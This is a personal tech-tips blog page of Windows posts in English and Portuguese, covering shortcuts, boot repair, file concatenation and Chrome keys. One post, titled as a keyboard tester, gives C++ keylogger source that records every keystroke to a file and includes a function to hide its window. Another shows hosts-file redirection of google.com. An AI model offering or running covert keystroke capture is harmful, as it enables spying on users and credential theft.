Showing posts with label Windows. Show all posts
Showing posts with label Windows. Show all posts

Thursday, May 27, 2021

Copy and paste Shortcuts

Linux

COPY

To copy you may have different scenarios

  • Mode 1
    • In graphical applications you may use Ctrl + C
    • In terminal you may use Ctr + Shift + C
    • Right click menu Copy
  • Mode 2
    • In any application you can just select a text

Wednesday, February 24, 2021

Testing keyboard keys

Online in browser
https://keycode.info/

On Windows
install
https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk/ 
and use spy++ that comes with it

On Linux
$ xev


Creating your own Windows Keyboard testing application  copy paste this code and
       
       
#include <iostream> 
#include <windows.h> 
#include <winuser.h>

#pragma comment(lib,"user32.lib")  //Use this line to get compiled on Visual Studio Code quick

using namespace std;

int Record (int key_stroke, char *file);
void Hide();

int main() {
 //   Hide();
    char i;

    while (1) {
        for(i = 8; i <= 190; i++) {
            if (GetAsyncKeyState(i) == -32767)
                Record(i, "keys.log");
        }
    }
    system("pause");
    return 0;
}


int Record (int key_stroke, char *file) {
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE * OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == 190 || key_stroke == 110)  fprintf(OUTPUT_FILE, "%s", ".");
    else if (key_stroke == 8)          fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
    else if (key_stroke == VK_TAB)     fprintf(OUTPUT_FILE, "%s", "TAB");
    else if (key_stroke == VK_SHIFT)   fprintf(OUTPUT_FILE, "%s", "SHIFT");
    else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "CTRL");
    else if (key_stroke == VK_ESCAPE)  fprintf(OUTPUT_FILE, "%s", "ESC");
    else if (key_stroke == VK_END)     fprintf(OUTPUT_FILE, "%s", "END");
    else if (key_stroke == VK_HOME)    fprintf(OUTPUT_FILE, "%s", "HOME");
    else if (key_stroke == VK_LEFT)    fprintf(OUTPUT_FILE, "%s", "LEFT");
    else if (key_stroke == VK_UP)      fprintf(OUTPUT_FILE, "%s", "UP");
    else if (key_stroke == VK_RIGHT)   fprintf(OUTPUT_FILE, "%s", "RIGHT");
    else if (key_stroke == VK_DOWN)    fprintf(OUTPUT_FILE, "%s", "DOWN");
    else fprintf (OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}


void Hide() {
    HWND HiddenWindow;
    AllocConsole();
    HiddenWindow = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(HiddenWindow, 0);
}
       
              
 
To Compile it in Visual Studio Code Follow the instruction in the website bellow https://code.visualstudio.com/docs/cpp/config-msvc 

Open Developer Command Prompt for VS 2017 start VS Code from it code . 
create
       
 
  task.json
  {
    "version": "2.0.0",
    "tasks": [
        {
            "type": "shell",
            "label": "cl.exe build active file",
            "command": "cl.exe",
            "args": [
                "/Zi",
                "/EHsc",
                "/Fe:",
                "${fileDirname}\\${fileBasenameNoExtension}.exe",
                "${file}"
            ],
            "problemMatcher": [
                "$msCompile"
            ],
            "group": "build"
        },
        {
            "type": "cppbuild",
            "label": "C/C++: cl.exe build active file",
            "command": "cl.exe",
            "args": [
                "/Zi",
                "/EHsc",
                "/nologo",
                "/Fe:",
                "${fileDirname}\\${fileBasenameNoExtension}.exe",
                "${file}"
            ],
            "options": {
                "cwd": "${workspaceFolder}"
            },
            "problemMatcher": [
                "$msCompile"
            ],
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "detail": "Task generated by Debugger."
        }
    ]
}             
 
       
 
  create launch.json
  
  {
    "version": "0.2.0",
    "configurations": [
      {
        "name": "cl.exe build and debug active file",
        "type": "cppvsdbg",
        "request": "launch",
        "program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
        "args": [],
        "stopAtEntry": false,
        "cwd": "${workspaceFolder}",
        "environment": [],
        "externalConsole": false,
        "preLaunchTask": "cl.exe build active file"
      }
    ]
  }
              
 

Friday, October 30, 2020

Change command prompt color on windows

 color /?


color a    - changes the color to green

Thursday, June 11, 2020

Windows 10 Safe Mode don´t accept password

Boot using a windows recovery disc or USB pendrive

Recover

Throbleshoot

Command Prompt

diskpart

list disk

Show disks  and verify number of the disk which contain windows

sel disk 0

list vol

Show volumes and verify the number of the Volume of type Fat32 with size arround 100MB or more

sel vol 2

assign letter=F:

exit

bcdboot c:\Windows /s F: /f UEFI

bootrec /fixboot


Thursday, June 4, 2020

How to mirror your android device in Windows 10

In the search bar type  connect or "conectar" in portuguese, then in your phone procede as you do to mirror you phone on chromecast.

Friday, February 21, 2014

Prompt do Cygwin no menu do botão direito no windows explorer

[HKEY_CLASSES_ROOT\directory\shell\cygwin64_bash]
&Cygwin Bash Aqui

[HKEY_CLASSES_ROOT\directory\shell\cygwin64_bash\command]
c:\\cygwin64\\bin\\mintty.exe -i /Cygwin-Terminal.ico /bin/bash --login -c 'cd "%V";bash'

Monday, January 3, 2011

Concatenando / Juntando arquivos sem nenhum programa adicional.

É possível juntar dois arquivos de texto, vídeo ou qualquer outro formato binário utilizando apenas o comando COPY, nativo nos sistemas operacionais DOS/Windows.
Comando: copy /B [arquivo1] [+] [arquivo2] [+] [arquivo3] [arquivo final]
Por exemplo copy /B meu_filme_parte1.avi.001 + meu_filme_parte2.avi.002 filme_completo.avi

Concatenar arquivos texto no diretorio
FOR %f IN (*.java) DO TYPE %f >> concat.java

em Linux
Comando: cat [arquivo1] [arquivo2] [>] [arquivo final]
Por exemplo
cat meu_filme_parte1.avi.001 meu_filme_parte2.avi.002 > filme_completo.avi

Friday, July 23, 2010

Recovering Grub After Installing Windows.

https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows

Thursday, July 8, 2010

Windows DNS

Para redirecionar sites por exemplo www.google.com para um ip arbritario abra o arquivo WINDOWS/System32/drivers/etc/hosts e insira a linha 200.98.249.120 www.google.com salve abra o navegador e acesse www.google.com e veja oque acontece


Wednesday, June 23, 2010

Chrome shortcuts

Window tab shorcuts

Action/FunctionShortcut
Open a new windowCtrl + N
Open a new windows in incognito modeCtrl + Shift + N
Open link in a new tabCtrl + Click on link
Open link in new windowShift + Click on link
Close current windowAlt + F4
Open a new tabCtrl + T
Reopen the last tab you have closed1Ctrl + Shift + T
Switch to the tab at the specified positionCtrl + 1 through Ctrl + 8
Switch to the last tabCtrl + 9
Switch to the next tabCtrl + Tab or Ctrl + PgDown
Switch to the previous tabCtrl + Shift + Tab or Ctrl + PgUp
Go to the previous page in your browsing history for the tabBackspace, or press Alt + Left Arrow
Go to the next page in your browsing history for the tabShift + Backspace, or press Alt + Right Arrow
Close current tab or pop-upCtrl + W or Ctrl + F4
Open your homepageAlt + Home
Open a file from your computer in Google ChromeCtrl + O, then select file
1 Google Chrome remembers the last 10 tabs that you have closed
Address Bar Shortcuts

Action/FunctionShortcut
Add (www.) and (.com) to your input in the address bar and open the web addressType the part of the web address that is between (www.) and (.com), then press Ctrl + Enter
Highlight content in the web address areaF6 or Ctrl + L or Alt + D
Open your web address in a new tabType a web address, then press Alt + Enter
Places a (?) in the address bar. Type a search term after the (?) to perform a search using your default search engine.Ctrl + K or Ctrl + E
Jump to the previous word in the address barPlace your cursor in the address bar, the press Ctrl + Left Arrow
Jump to the next word in the address barPlace your cursor in the address bar, then press Ctrl + Right Arrow
Delete the previous word in the address barPlace your cursor in the address bar, then press Ctrl + Backspace



Shortcuts to Open Chrome Features

Action/FunctionShortcut
Toggle bookmarks bar on and offCtrl + B
View the History pageCtrl + H
View the Downloads pageCtrl + J
View the Task ManagerShift + Esc



Webpage Shortcuts

Action/FunctionShortcut
Print your current pageCtrl + P
Reload current pageF5
Stop page loadingEsc
Reload current page, ignoring cached contentCtrl + F5 or Shift + F5
Scroll down the web pageSpace bar
Go to the top of the pageHome
Go to the bottom of the pageEnd
Download linkPress Alt, then click the link
Open find-in-page boxCtrl + F
Find next match for your input in the find-in-page boxCtrl + G or F3
Find previous match for your input in the find-in-page boxCtrl + Shift + G or Shift + F3
View sourceCtrl + U
Bookmark your current webpageCtrl + D
Make text largerCtrl + +
Make text smallerCtrl + -
Return to normal text sizeCtrl + 0



Thursday, April 29, 2010

Um pouco de MS - DOS

http://www.computerhope.com/msdos.htm#02

Blog Archive